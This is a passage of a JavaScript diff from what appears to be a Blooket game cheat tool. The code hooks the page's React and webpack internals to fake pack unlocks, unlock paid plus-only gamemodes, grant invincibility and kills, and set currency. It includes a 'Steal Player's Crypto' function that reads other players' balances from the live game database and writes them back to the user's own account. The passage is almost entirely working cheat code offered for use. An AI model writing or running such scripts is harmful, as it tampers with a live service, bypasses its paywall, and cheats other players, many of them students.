lifespan: 2500 + } + } + case "left-diamond": { + var n = Object(I.l)(0, scene.scene.cameras.main.worldView.height); + return { + x: 0, + y: n, + scale: Object(I.l)(.7, 1), + angle: n > scene.scene.cameras.main.worldView.height / 2 ? -30 : 30, + velocity: Object(I.l)(600, 750), + gravity: 0, + angVelocity: Object(I.l)(125, 175), + lifespan: 2500 + } + } + default: return {}; + } + }; + if (scene.rarity && 0 !== this.numExplosions && (this.nextParticle -= t, this.nextParticle <= 0)) { + switch (scene.rarity) { + case "Uncommon": { + for (let i = 0; i < 2; i++) { + let n = scene.particles.get(); + n && n.spawn.apply(n, Object.values(Z("center")).concat(`uncommon-${Object(I.m)(1, 8)}`)) + } + break; + } + case "Rare": { + for (var o = 0; o < 2; o++) { + var r = scene.particles.get(); + r && r.spawn.apply(r, Object.values(Z(o % 2 == 0 ? "left-bottom" : "right-bottom")).concat(`rare-${Object(I.m)(1, 8)}`)) + } + break; + } + case "Epic": { + for (var s = 0; s < 2; s++) { + var i = scene.particles.get(); + i && i.spawn.apply(i, Object.values(Z(s % 2 == 0 ? "left-shower" : "right-shower")).concat(`epic-${Object(I.m)(1, 8)}`)) + } + break; + } + case "Legendary": { + for (var l = 0; l < 3; l++) { + var c = scene.particles.get(); + c && c.spawn.apply(c, Object.values(Z("top")).concat(`legendary-${Object(I.m)(1, 8)}`)) + } + break; + } + case "Chroma": { + for (var u = 0; u < 3; u++) { + var d = scene.particles.get(); + d && d.spawn.apply(d, Object.values(Z(u % 2 == 0 ? "left-diamond" : "right-diamond")).concat(`chroma-${Object(I.m)(1, 8)}`)) + } + break; + } + } + this.nextParticle = 20; + this.numExplosions > 0 && (this.numExplosions = Math.max(this.numExplosions - 1, 0)); + } + } + } + return function (box) { + if (window.location.pathname !== "/market") return alert("This must be ran on the market page"); + let { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + let packs = webpack('fGzD'); + packs = Object.keys(packs.a).reduce((obj, pack) => (obj.packs.includes(pack) && (obj.data[pack] = Object.fromEntries(packs.b(pack))), obj), { packs: Array.from(document.querySelectorAll('[class*="packShadow"]')).map(x => x.alt), data: {} }).data; + if (packs[box]) { + function weighted(pack) { + let weights = []; + const items = Object.keys(packs[pack]); + for (const key of items) weights.push(packs[pack][key] + (weights[items.indexOf(key) - 1] || 0)); + const choice = weights[weights.length - 1] * Math.random(); + return items[weights.findIndex(w => w >= choice)]; + } + const blook = weighted(box); + const allBlooks = Object.values(webpack.c).find(x => x.exports?.a?.Elephant).exports.a; + stateNode.setState({ + loadingPack: false, + openPack: true, + unlockedBlook: blook, + tokens: stateNode.state.tokens, + newUnlock: true, + game: { + type: phaser.WEBGL, + parent: "phaser-market", + width: "100%", + height: "100%", + scale: { mode: phaser.Scale.NONE, autoCenter: phaser.Scale.CENTER_BOTH }, + transparent: true, + physics: { default: "arcade" }, + scene: new Particles(allBlooks[blook].rarity) + }, + canOpen: true + }); + } else alert("I couldn't find that box!"); + } + } catch { } + })() + }, + { + name: "Simulate Unlock", + description: "Simulate unlocking most of the blooks", + inputs: [ + { + name: "Blook", + type: "options", + options: () => { + try { + let { webpack } = webpackJsonp.push([[], { ['1234']: (_, a, b) => { a.webpack = b }, }, [['1234']]]); + const cache = Object.values(webpack.c); + const packs = cache.find(x => typeof x.exports.a?.Breakfast == "number").exports.a; + return Object.entries(cache.find(x => x.exports.a?.Black).exports.a).reduce((a, [b, c]) => (packs[c.realSet || c.set] ? a.concat(b) : a), []); + } catch { return []; } + } + } + ], + run: (function () { + try { + let { webpack } = webpackJsonp.push([[], { ['1234']: (_, a, b) => { a.webpack = b }, }, [['1234']]]); + let values = Object.values(webpack.c), + blooks = values.find(x => x.exports?.a?.Black).exports.a, + packs = values.find(x => typeof x.exports.a?.Breakfast == "number").exports.a, + allBlooks = Object.entries(blooks).reduce((a, [b, c]) => (packs[c.realSet || c.set] && (a[b] = c), a), {}); + let phaser = values.find(x => x.exports?.Class).exports; + let scene = {}; + class Particles extends phaser.Scene { + constructor(rarity) { + super(); + this.rarity = rarity.toLowerCase(); + } + preload() { + switch (this.rarity) { + case "uncommon": + this.load.svg("uncommon-1", "https://media.blooket.com/image/upload/v1658567787/Media/market/particles/square_green.svg", { width: 25, height: 25 }); + this.load.svg("uncommon-2", "https://media.blooket.com/image/upload/v1658567787/Media/market/particles/square_light_green.svg", { width: 25, height: 25 }); + this.load.svg("uncommon-3", "https://media.blooket.com/image/upload/v1658567785/Media/market/particles/circle_dark_green.svg", { width: 25, height: 25 }); + this.load.svg("uncommon-4", "https://media.blooket.com/image/upload/v1658567785/Media/market/particles/serpentine_dark_green.svg", { width: 30, height: 30 }); + this.load.svg("uncommon-5", "https://media.blooket.com/image/upload/v1658567785/Media/market/particles/triangle_light_green.svg", { width: 30, height: 30 }); + this.load.svg("uncommon-6", "https://media.blooket.com/image/upload/v1658567785/Media/market/particles/serpentine_light_green.svg", { width: 30, height: 30 }); + this.load.svg("uncommon-7", "https://media.blooket.com/image/upload/v1658567785/Media/market/particles/triangle_green.svg", { width: 30, height: 30 }); + break; + case "rare": + this.load.svg("rare-1", "https://media.blooket.com/image/upload/v1658567765/Media/market/particles/square_light_blue.svg", { width: 25, height: 25 }); + this.load.svg("rare-2", "https://media.blooket.com/image/upload/v1658567765/Media/market/particles/square_dark_blue.svg", { width: 25, height: 25 }); + this.load.svg("rare-3", "https://media.blooket.com/image/upload/v1658567763/Media/market/particles/triangle_blue.svg", { width: 30, height: 30 }); + this.load.svg("rare-4", "https://media.blooket.com/image/upload/v1658567763/Media/market/particles/serpentine_blue.svg", { width: 30, height: 30 }); + this.load.svg("rare-5", "https://media.blooket.com/image/upload/v1658567763/Media/market/particles/triangle_light_blue.svg", { width: 30, height: 30 }); + this.load.svg("rare-6", "https://media.blooket.com/image/upload/v1658567763/Media/market/particles/serpentine_light_blue.svg", { width: 30, height: 30 }); + this.load.svg("rare-7", "https://media.blooket.com/image/upload/v1658567763/Media/market/particles/circle_dark_blue.svg", { width: 25, height: 25 }); + break; + case "epic": + this.load.svg("epic-1", "https://media.blooket.com/image/upload/v1658790239/Media/market/particles/red.svg", { width: 25, height: 25 }); + this.load.svg("epic-2", "https://media.blooket.com/image/upload/v1658790237/Media/market/particles/light_red.svg", { width: 25, height: 25 }); + this.load.svg("epic-3", "https://media.blooket.com/image/upload/v1658790239/Media/market/particles/serpentine_red.svg", { width: 30, height: 30 }); + this.load.svg("epic-4", "https://media.blooket.com/image/upload/v1658790239/Media/market/particles/serpentine_dark_red.svg", { width: 30, height: 30 }); + this.load.svg("epic-5", "https://media.blooket.com/image/upload/v1658790237/Media/market/particles/triangle_red.svg", { width: 30, height: 30 }); + this.load.svg("epic-6", "https://media.blooket.com/image/upload/v1658790237/Media/market/particles/triangle_light_red.svg", { width: 30, height: 30 }); + this.load.svg("epic-7", "https://media.blooket.com/image/upload/v1658790237/Media/market/particles/circle_dark_red.svg", { width: 25, height: 25 }); + break; + case "legendary": + this.load.svg("legendary-1", "https://media.blooket.com/image/upload/v1658567740/Media/market/particles/square_orange.svg", { width: 25, height: 25 }); + this.load.svg("legendary-2", "https://media.blooket.com/image/upload/v1658567740/Media/market/particles/square_light_orange.svg", { width: 25, height: 25 }); + this.load.svg("legendary-3", "https://media.blooket.com/image/upload/v1658567738/Media/market/particles/circle_orange.svg", { width: 25, height: 25 }); + this.load.svg("legendary-4", "https://media.blooket.com/image/upload/v1658567738/Media/market/particles/serpentine_orange.svg", { width: 30, height: 30 }); + this.load.svg("legendary-5", "https://media.blooket.com/image/upload/v1658567738/Media/market/particles/serpentine_light_orange.svg", { width: 30, height: 30 }); + this.load.svg("legendary-6", "https://media.blooket.com/image/upload/v1658567738/Media/market/particles/circle_dark_orange.svg", { width: 25, height: 25 }); + this.load.svg("legendary-7", "https://media.blooket.com/image/upload/v1658567738/Media/market/particles/triangle_dark_orange.svg", { width: 30, height: 30 }); + break; + case "chroma": + this.load.svg("chroma-1", "https://media.blooket.com/image/upload/v1658790246/Media/market/particles/square_turquoise.svg", { width: 25, height: 25 }); + this.load.svg("chroma-2", "https://media.blooket.com/image/upload/v1658790246/Media/market/particles/square_light_turquoise.svg", { width: 25, height: 25 }); + this.load.svg("chroma-3", "https://media.blooket.com/image/upload/v1658790244/Media/market/particles/serpentine_dark_turquoise.svg", { width: 30, height: 30 }); + this.load.svg("chroma-4", "https://media.blooket.com/image/upload/v1658790244/Media/market/particles/serpentine_turquoise.svg", { width: 30, height: 30 }); + this.load.svg("chroma-5", "https://media.blooket.com/image/upload/v1658790244/Media/market/particles/triangle_turquoise.svg", { width: 30, height: 30 }); + this.load.svg("chroma-6", "https://media.blooket.com/image/upload/v1658790244/Media/market/particles/triangle_light_turquoise.svg", { width: 30, height: 30 }); + this.load.svg("chroma-7", "https://media.blooket.com/image/upload/v1658790244/Media/market/particles/circle_dark_turquoise.svg", { width: 25, height: 25 }); + } + } + create() { + scene.scene = this; + scene.rarity = ""; + scene.particles = this.physics.add.group({ + classType: new phaser.Class({ + Extends: phaser.GameObjects.Image, + initialize: function () { + phaser.GameObjects.Image.call(this, scene.scene, 0, 0, "uncommon-1"); + this.setDepth(3); + this.lifespan = 0; + }, + spawn: function (x, y, scale, velAngle, velSpeed, gravity, angle, lifespan, texture) { + this.setTexture(texture); + this.setActive(true); + this.setVisible(true); + this.setPosition(x, y); + this.setScale(scale); + this.targets = []; + scene.scene.physics.velocityFromAngle(velAngle, velSpeed, this.body.velocity); + this.body.setGravityY(gravity); + this.body.setAngularVelocity(angle); + this.lifespan = lifespan; + }, + update: function (t, s) { + this.lifespan -= s; + if (this.lifespan > 0) return; + this.setActive(!1); + this.setVisible(!1); + } + }), + runChildUpdate: !0 + }); + this.nextParticle = 0; + this.numExplosions = 0; + this.game.events.on("start-particles", (t) => { + scene.rarity = t; + this.numExplosions = "Uncommon" === t ? 75 : "Rare" === t ? 100 : -1; + }); + } + update(e, t) { + const I = webpack("74sb"); + let Z = function (e) { + switch (e) { + case "center": { + var t = Object(I.l)(-115, -65); + return { + x: scene.scene.cameras.main.worldView.width / 2, + y: scene.scene.cameras.main.worldView.height / 2, + scale: Object(I.l)(.7, 1), + angle: t, + velocity: Object(I.l)(600, 750), + gravity: 700, + angVelocity: (t > -90 ? 1 : -1) * Object(I.l)(125, 175), + lifespan: 2500 + } + } + case "right-bottom": return { + x: scene.scene.cameras.main.worldView.width, + y: scene.scene.cameras.main.worldView.height, + scale: Object(I.l)(.7, 1), + angle: Object(I.l)(-160, -110), + velocity: Object(I.l)(600, 750), + gravity: 500, + angVelocity: Object(I.l)(-175, -125), + lifespan: 2500 + }; + case "left-bottom": return { + x: 0, + y: scene.scene.cameras.main.worldView.height, + scale: Object(I.l)(.7, 1), + angle: Object(I.l)(-70, -20), + velocity: Object(I.l)(600, 750), + gravity: 500, + angVelocity: Object(I.l)(125, 175), + lifespan: 2500 + }; + case "top": return { + x: Object(I.l)(0, scene.scene.cameras.main.worldView.width), + y: -50, + scale: Object(I.l)(.7, 1), + angle: 90, + velocity: Object(I.l)(0, 50), + gravity: 700, + angVelocity: Object(I.l)(-150, 150), + lifespan: 2500 + }; + case "right-shower": return { + x: scene.scene.cameras.main.worldView.width, + y: Object(I.l)(0, scene.scene.cameras.main.worldView.height), + scale: Object(I.l)(.7, 1), + angle: Object(I.l)(-180, -130), + velocity: Object(I.l)(600, 750), + gravity: 500, + angVelocity: Object(I.l)(-175, -125), + lifespan: 2500 + }; + case "left-shower": return { + x: 0, + y: Object(I.l)(0, scene.scene.cameras.main.worldView.height), + scale: Object(I.l)(.7, 1), + angle: Object(I.l)(-50, 0), + velocity: Object(I.l)(600, 750), + gravity: 500, + angVelocity: Object(I.l)(125, 175), + lifespan: 2500 + }; + case "right-diamond": { + var a = Object(I.l)(0, scene.scene.cameras.main.worldView.height); + return { + x: scene.scene.cameras.main.worldView.width, + y: a, + scale: Object(I.l)(.7, 1), + angle: a > scene.scene.cameras.main.worldView.height / 2 ? -150 : -210, + velocity: Object(I.l)(600, 750), + gravity: 0, + angVelocity: Object(I.l)(-175, -125), + lifespan: 2500 + } + } + case "left-diamond": { + var n = Object(I.l)(0, scene.scene.cameras.main.worldView.height); + return { + x: 0, + y: n, + scale: Object(I.l)(.7, 1), + angle: n > scene.scene.cameras.main.worldView.height / 2 ? -30 : 30, + velocity: Object(I.l)(600, 750), + gravity: 0, + angVelocity: Object(I.l)(125, 175), + lifespan: 2500 + } + } + default: return {}; + } + }; + if (scene.rarity && 0 !== this.numExplosions && (this.nextParticle -= t, this.nextParticle <= 0)) { + switch (scene.rarity) { + case "Uncommon": { + for (let i = 0; i < 2; i++) { + let n = scene.particles.get(); + n && n.spawn.apply(n, Object.values(Z("center")).concat(`uncommon-${Object(I.m)(1, 8)}`)) + } + break; + } + case "Rare": { + for (var o = 0; o < 2; o++) { + var r = scene.particles.get(); + r && r.spawn.apply(r, Object.values(Z(o % 2 == 0 ? "left-bottom" : "right-bottom")).concat(`rare-${Object(I.m)(1, 8)}`)) + } + break; + } + case "Epic": { + for (var s = 0; s < 2; s++) { + var i = scene.particles.get(); + i && i.spawn.apply(i, Object.values(Z(s % 2 == 0 ? "left-shower" : "right-shower")).concat(`epic-${Object(I.m)(1, 8)}`)) + } + break; + } + case "Legendary": { + for (var l = 0; l < 3; l++) { + var c = scene.particles.get(); + c && c.spawn.apply(c, Object.values(Z("top")).concat(`legendary-${Object(I.m)(1, 8)}`)) + } + break; + } + case "Chroma": { + for (var u = 0; u < 3; u++) { + var d = scene.particles.get(); + d && d.spawn.apply(d, Object.values(Z(u % 2 == 0 ? "left-diamond" : "right-diamond")).concat(`chroma-${Object(I.m)(1, 8)}`)) + } + break; + } + } + this.nextParticle = 20; + this.numExplosions > 0 && (this.numExplosions = Math.max(this.numExplosions - 1, 0)); + } + } + } + return function (blook) { + let i = document.createElement('iframe'); + document.body.append(i); + window.alert = i.contentWindow.alert.bind(window); + window.prompt = i.contentWindow.prompt.bind(window); + i.remove(); + if (window.location.pathname == "/market") { + let { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + stateNode.setState({ + loadingPack: false, + openPack: true, + unlockedBlook: blook, + newUnlock: true, + game: { + type: phaser.WEBGL, + parent: "phaser-market", + width: "100%", + height: "100%", + scale: { + mode: phaser.Scale.NONE, + autoCenter: phaser.Scale.CENTER_BOTH + }, + transparent: true, + physics: { + default: "arcade" + }, + scene: new Particles(allBlooks[blook].rarity) + }, + canOpen: true + }); + } else alert("This can only be ran on the market page!"); + } + } catch { } + })() + }, + { + name: "Unlock Plus Gamemodes", + description: "Allows you to play any gamemode that is plus only", + run: function () { + Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.setState(state => (state.gameModes.forEach(gm => gm.plusOnly = false), state)); + } + } + ], + brawl: [ + { + name: "Double Enemy XP", + description: "Doubles enemy XP drop value", + run: function () { + for (const collider of Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.state.game.scene.physics.world.colliders._active.filter(x => x.callbackContext?.toString().includes('invulnerableTime'))) { + const enemies = collider.object2; + let _start = enemies.classType.prototype.start; + enemies.classType.prototype.start = function () { _start.apply(this, arguments), this.val *= 2 } + enemies.children.entries.forEach(e => e.val *= 2); + } + } + }, + { + name: "Half Enemy Speed", + description: "Makes enemies move 2x slower", + run: function () { + for (const collider of Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.state.game.scene.physics.world.colliders._active.filter(x => x.callbackContext?.toString().includes('invulnerableTime'))) { + const enemies = collider.object2; + let _start = enemies.classType.prototype.start; + enemies.classType.prototype.start = function () { _start.apply(this, arguments), this.speed *= .5 } + enemies.children.entries.forEach(e => e.speed *= .5); + } + } + }, + { + name: "Instant Kill", + description: "Sets all enemies health to 1", + run: function () { + for (const collider of Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.state.game.scene.physics.world.colliders._active.filter(x => x.callbackContext?.toString().includes('invulnerableTime'))) { + const enemies = collider.object2; + let _start = enemies.classType.prototype.start; + enemies.classType.prototype.start = function () { _start.apply(this, arguments), this.hp = 1 } + enemies.children.entries.forEach(e => e.hp = 1); + } + } + }, + { + name: "Invincibility", + description: "Makes you invincible", + run: function () { + for (const collider of Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.state.game.scene.physics.world.colliders._active.filter(x => x.callbackContext?.toString().includes('invulnerableTime'))) collider.collideCallback = () => { }; + } + }, + { + name: "Magnet", + description: "Pulls all xp towards you", + run: function () { + Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.state.game.scene.physics.world.colliders._active.find(x => x.collideCallback?.toString().includes('magnetTime')).collideCallback({ active: true }, { active: true, setActive() { }, setVisible() { } }); + } + }, + { + name: "Max Current Abilities", + description: "Maxes out all your current abilities", + run: function () { + const { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + for (const [ability, level] of Object.entries(stateNode.state.abilities)) for (let i = 0; i < (10 - level); i++) stateNode.state.game.scene.game.events.emit("level up", ability, stateNode.state.abilities[ability]++); + stateNode.setState({ + level: stateNode.state.game.scene.level = [1, 3, 5, 10, 15, 25, 35].sort((a, b) => Math.abs(a - stateNode.state.level) - Math.abs(b - stateNode.state.level))[0] - 1 + }); + } + }, + { + name: "Next Level", + description: "Skips to the next level", + run: function () { + let { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + let { object1: player, object2: xp } = stateNode.state.game.scene.physics.world.colliders._active.find(x => x.collideCallback?.toString().includes('emit("xp"')); + xp.get().spawn(player.x, player.y, ((e) => 1 === e ? 1 : e < 5 ? 5 : e < 10 ? 10 : e < 20 ? 20 : e < 30 ? 30 : e < 40 ? 40 : e < 50 ? 50 : 100)(stateNode.state.level) - stateNode.xp); + } + }, + { + name: "Remove Obstacles", + description: "Removes all rocks and obstacles", + run: function () { + Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.state.game.scene.physics.world.bodies.entries.forEach(body => { + try { + if (body.gameObject.frame.texture.key.includes("obstacle")) body.gameObject.destroy(); + } catch { } + }); + } + }, + { + name: "Kill Enemies", + description: "Kills all current enemies", + run: function () { + Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.state.game.scene.physics.world.bodies.entries.forEach(x => x?.gameObject?.receiveDamage?.(x.gameObject.hp, 1)); + } + }, + { + name: "Reset Health", + description: "Resets health and gives invincibility for 3 seconds", + run: function () { + Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.state.game.scene.game.events._events.respawn.fn(); + } + } + ], + cafe: [ + { + name: "Max Items", + description: "Maxes out items in the shop (Only usable in the shop)", + run: function () { + let i = document.createElement('iframe'); + document.body.append(i); + window.alert = i.contentWindow.alert.bind(window); + i.remove(); + if (window.location.pathname !== "/cafe/shop") alert("This can only be run in the shop"); + else { + const { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + stateNode.setState({ items: Object.fromEntries(Object.entries(stateNode.state.items).map(x => [x[0], 5])) }); + } + } + }, + { + name: "Remove Customers", + description: "Skips the current customers (Not usable in the shop)", + run: function () { + const { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + stateNode.state.customers.forEach((customer, i) => Object.keys(customer).length && stateNode.removeCustomer(i, true)); + } + }, + { + name: "Reset Abilities", + description: "Resets used abilities in shop (Only usable in the shop)", + run: function () { + let i = document.createElement('iframe'); + document.body.append(i); + window.alert = i.contentWindow.alert.bind(window); + i.remove(); + if (window.location.pathname !== "/cafe/shop") alert("This can only be run in the shop"); + else { + const { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + stateNode.setState({ abilities: Object.fromEntries(Object.entries(stateNode.state.abilities).map(x => [x[0], 5])) }); + } + } + }, + { + name: "Set Cash", + description: "Sets cafe cash", + inputs: [{ + name: "Amount", + type: "number" + }], + run: function (cafeCash) { + let { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + stateNode.setState({ cafeCash }); + stateNode.props.liveGameController.setVal({ + path: `c/${stateNode.props.client.name}`, + val: { + b: stateNode.props.client.blook, + ca: cafeCash + } + }); + } + }, + { + name: "Stock Food", + description: "Stocks all food to 99 (Not usable in the shop)", + run: function () { + let i = document.createElement('iframe'); + document.body.append(i); + window.alert = i.contentWindow.alert.bind(window); + i.remove(); + if (window.location.pathname !== "/cafe") alert("This can't be run in the shop"); + else { + const { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + stateNode.setState({ foods: stateNode.state.foods.map(e => ({ ...e, stock: 99, level: 5 })) }); + } + } + } + ], + crypto: [ + { + name: "Choice ESP", + description: "Shows what each choice will give you", + type: "toggle", + enabled: false, + data: null, + run: function () { + if (!this.enabled) { + this.enabled = true; + this.data = setInterval(() => { + let { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + let { text } = stateNode.state.choices[0]; + let chest = document.querySelector('[class^=styles__feedbackContainer___]'); + if (chest.children.length <= 4) { + let choice = document.createElement('div'); + choice.style.color = "white"; + choice.style.fontFamily = "Inconsolata,Helvetica,monospace,sans-serif"; + choice.style.fontSize = "2em"; + choice.style.display = "flex"; + choice.style.justifyContent = "center"; + choice.style.marginTop = "675px"; + choice.innerText = text; + chest.append(choice); + } + }, 50); + } else { + this.enabled = false; + clearInterval(this.data); + this.data = null; + } + } + }, + { + name: "Password ESP", + description: "Highlights the correct password", + type: "toggle", + enabled: false, + data: null, + run: function () { + if (!this.enabled) { + this.enabled = true; + this.data = setInterval(() => { + let { state } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode; + if (state.stage == "hack") [...document.querySelector('div[class^=styles__buttonContainer]').children].forEach(button => { + if (button.innerText == state.correctPassword) return; + button.style.outlineColor = "rgba(255, 64, 64, 0.8)"; + button.style.backgroundColor = "rgba(255, 64, 64, 0.8)"; + button.style.textShadow = "0 0 1px #f33"; + }); + }, 50); + } else { + this.enabled = false; + clearInterval(this.data); + this.data = null; + } + } + }, + { + name: "Always Triple", + description: "Always get triple crypto", + type: "toggle", + enabled: false, + data: null, + run: function () { + if (!this.enabled) { + this.enabled = true; + this.data = setInterval(() => Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.setState({ choices: [{ type: "mult", val: 3, rate: .075, blook: "Brainy Bot", text: "Triple Crypto" }] }), 50); + } else { + this.enabled = false; + clearInterval(this.data); + this.data = null; + } + } + }, + { + name: "Auto Guess", + description: "Automatically guess the correct password", + type: "toggle", + enabled: false, + data: null, + run: function () { + if (!this.enabled) { + this.enabled = true; + this.data = setInterval(() => { + let { state } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode; + if (state.stage == "hack") for (const button of document.querySelector('div[class^=styles__buttonContainer]').children) button.innerText == state.correctPassword && button.click(); + }, 50); + } else { + this.enabled = false; + clearInterval(this.data); + this.data = null; + } + } + }, + { + name: "Remove Hack", + description: "Removes an attacking hack", + run: function () { + Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.setState({ hack: "" }); + } + }, + { + name: "Set Crypto", + description: "Sets crypto", + inputs: [{ + name: "Amount", + type: "number" + }], + run: function (amount) { + let { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + stateNode.setState({ crypto: amount, crypto2: amount }); + stateNode.props.liveGameController.setVal({ + path: "c/".concat(stateNode.props.client.name), + val: { + b: stateNode.props.client.blook, + p: stateNode.state.password, + cr: amount + } + }); + } + }, + { + name: "Set Password", + description: "Sets hacking password", + inputs: [{ + name: "Custom Password", + type: "string" + }], + run: function (password) { + let { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + stateNode.setState({ password }); + stateNode.props.liveGameController.setVal({ + path: "c/".concat(stateNode.props.client.name), + val: { + b: stateNode.props.client.blook, + p: password, + cr: stateNode.state.crypto + } + }); + } + }, + { + name: "Steal Player's Crypto", + description: "Steals all of someone's crypto", + inputs: [{ + name: "Player", + type: "options", + options: () => { + let { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + return new Promise(res => stateNode.props.liveGameController._liveApp ? stateNode.props.liveGameController.getDatabaseVal("c", (players) => players && res(Object.keys(players))) : res([])); + } + }], + run: function (target) { + let { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + stateNode.props.liveGameController.getDatabaseVal("c", (players) => { + if (players && Object.keys(players).map(x => x.toLowerCase()).includes(target.toLowerCase())) { + let [player, { cr }] = Object.entries(players).find(([name]) => name.toLowerCase() == target.toLowerCase()); + stateNode.setState({ crypto: stateNode.state.crypto + cr, crypto2: stateNode.state.crypto + cr }); + stateNode.props.liveGameController.setVal({ + path: "c/".concat(stateNode.props.client.name), + val: { + b: stateNode.props.client.blook, + p: stateNode.state.password, + cr: stateNode.state.crypto + cr, + tat: `${player}:${cr}` + } + }); + } + }); + } + } + ], + defense: [ + { + name: "Earthquake", + description: "Shuffles around towers", + run: function () { + let { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + stateNode.setState({ + eventName: "Earthquake", + event: { + short: "e", + color: "#805500", + icon: "fas fa-mountain", + desc: "All of your towers get mixed up", + rate: .02 + }, + buyTowerName: "", + buyTower: {} + }, () => stateNode.eventTimeout = setTimeout(() => stateNode.setState({ event: {}, eventName: "" }), 6e3)); + stateNode.tiles.forEach(row => row.forEach((col, i) => col === 3 && (row[i] = 0))); + let tiles = stateNode.tiles.flatMap((_, y) => _.map((__, x) => __ === 0 && ({ x, y }))).filter(Boolean).sort(() => .5 - Math.random()); + stateNode.towers.forEach(tower => { + let { x, y } = tiles.shift(); + tower.move(x, y, stateNode.tileSize); + stateNode.tiles[y][x] = 3; + }); + } + }, + { + name: "Max Tower Stats", + description: "Makes all placed towers overpowered", + run: function () { + let { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + stateNode.towers.forEach(tower => { + tower.range = 100; + tower.fullCd = tower.cd = 0; + tower.damage = 1e6; + }); + } + }, + { + name: "Remove Ducks", + description: "Removes ducks", + run: function () { + let { stateNode: { ducks, tiles } } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + ducks.forEach(x => { tiles[x.y][x.x] = 0; }); + ducks.length = 0; + } + }, + { + name: "Remove Enemies", + description: "Removes all the enemies", + run: function () { + let { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + stateNode.enemies = stateNode.futureEnemies = []; + } + }, + { + name: "Remove Obstacles", + description: "Lets you place towers anywhere", + run: function () { + let { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + stateNode.tiles = stateNode.tiles.map(row => row.fill(0)); + } + }, + { + name: "Set Damage", + description: "Sets damage", + inputs: [{ + name: "Damage", + type: "number" + }], + run: function (dmg) { + Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.dmg = dmg; + } + }, + { + name: "Set Round", + description: "Sets the current round", + inputs: [{ + name: "Round", + type: "number" + }], + run: function (round) { + Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.setState({ round }); + } + }, + { + name: "Set Tokens", + description: "Sets the amount of tokens you have", + inputs: [{ + name: "Tokens", + type: "number" + }], + run: function (tokens) { + Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.setState({ tokens }); + } + } + ], + defense2: [ + { + name: "Max Tower Stats", + description: "Makes all placed towers overpowered", + run: function () { + Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.state.towers.forEach(tower => { + tower.stats.dmg = 1e6; + tower.stats.fireRate = 50; + tower.stats.ghostDetect = true; + tower.stats.maxTargets = 1e6; + tower.stats.numProjectiles &&= 100; + tower.stats.range = 100; + if (tower.stats.auraBuffs) for (const buff in tower.stats.auraBuffs) tower.stats.auraBuffs[buff] *= 100; + }); + } + }, + { + name: "Kill Enemies", + description: "Kills all the enemies", + run: function () { + let { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + stateNode.state.game.scene.enemyQueue.length = 0; + stateNode.state.game.scene.physics.world.bodies.entries.forEach(x => x?.gameObject?.receiveDamage?.(x.gameObject.hp, 1)); + } + }, + { + name: "Set Coins", + description: "Sets coins", + inputs: [{ + name: "Coins", + type: "number" + }], + run: function (coins) { + Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.setState({ coins }); + } + }, + { + name: "Set Health", + description: "Sets the amount of health you have", + inputs: [{ + name: "Health", + type: "number" + }], + run: function (health) { + Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.setState({ health }); + } + }, + { + name: "Set Round", + description: "Sets the current round", + inputs: [{ + name: "Round", + type: "number" + }], + run: function (round) { + Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.setState({ round }); + } + }, + ], + dinos: [ + { + name: "Auto Choose", + description: "Automatically choose the best fossil when excavating", + type: "toggle", + enabled: false, + data: null, + run: function () { + if (!this.enabled) { + this.enabled = true; + this.data = setInterval(() => { + const { webpack } = webpackJsonp.push([[], { ['1234']: (_, a, b) => { a.webpack = b }, }, [['1234']]]); + const getFossils = (() => { /* this is for when ben does funny webpack update stuff */ + const func = 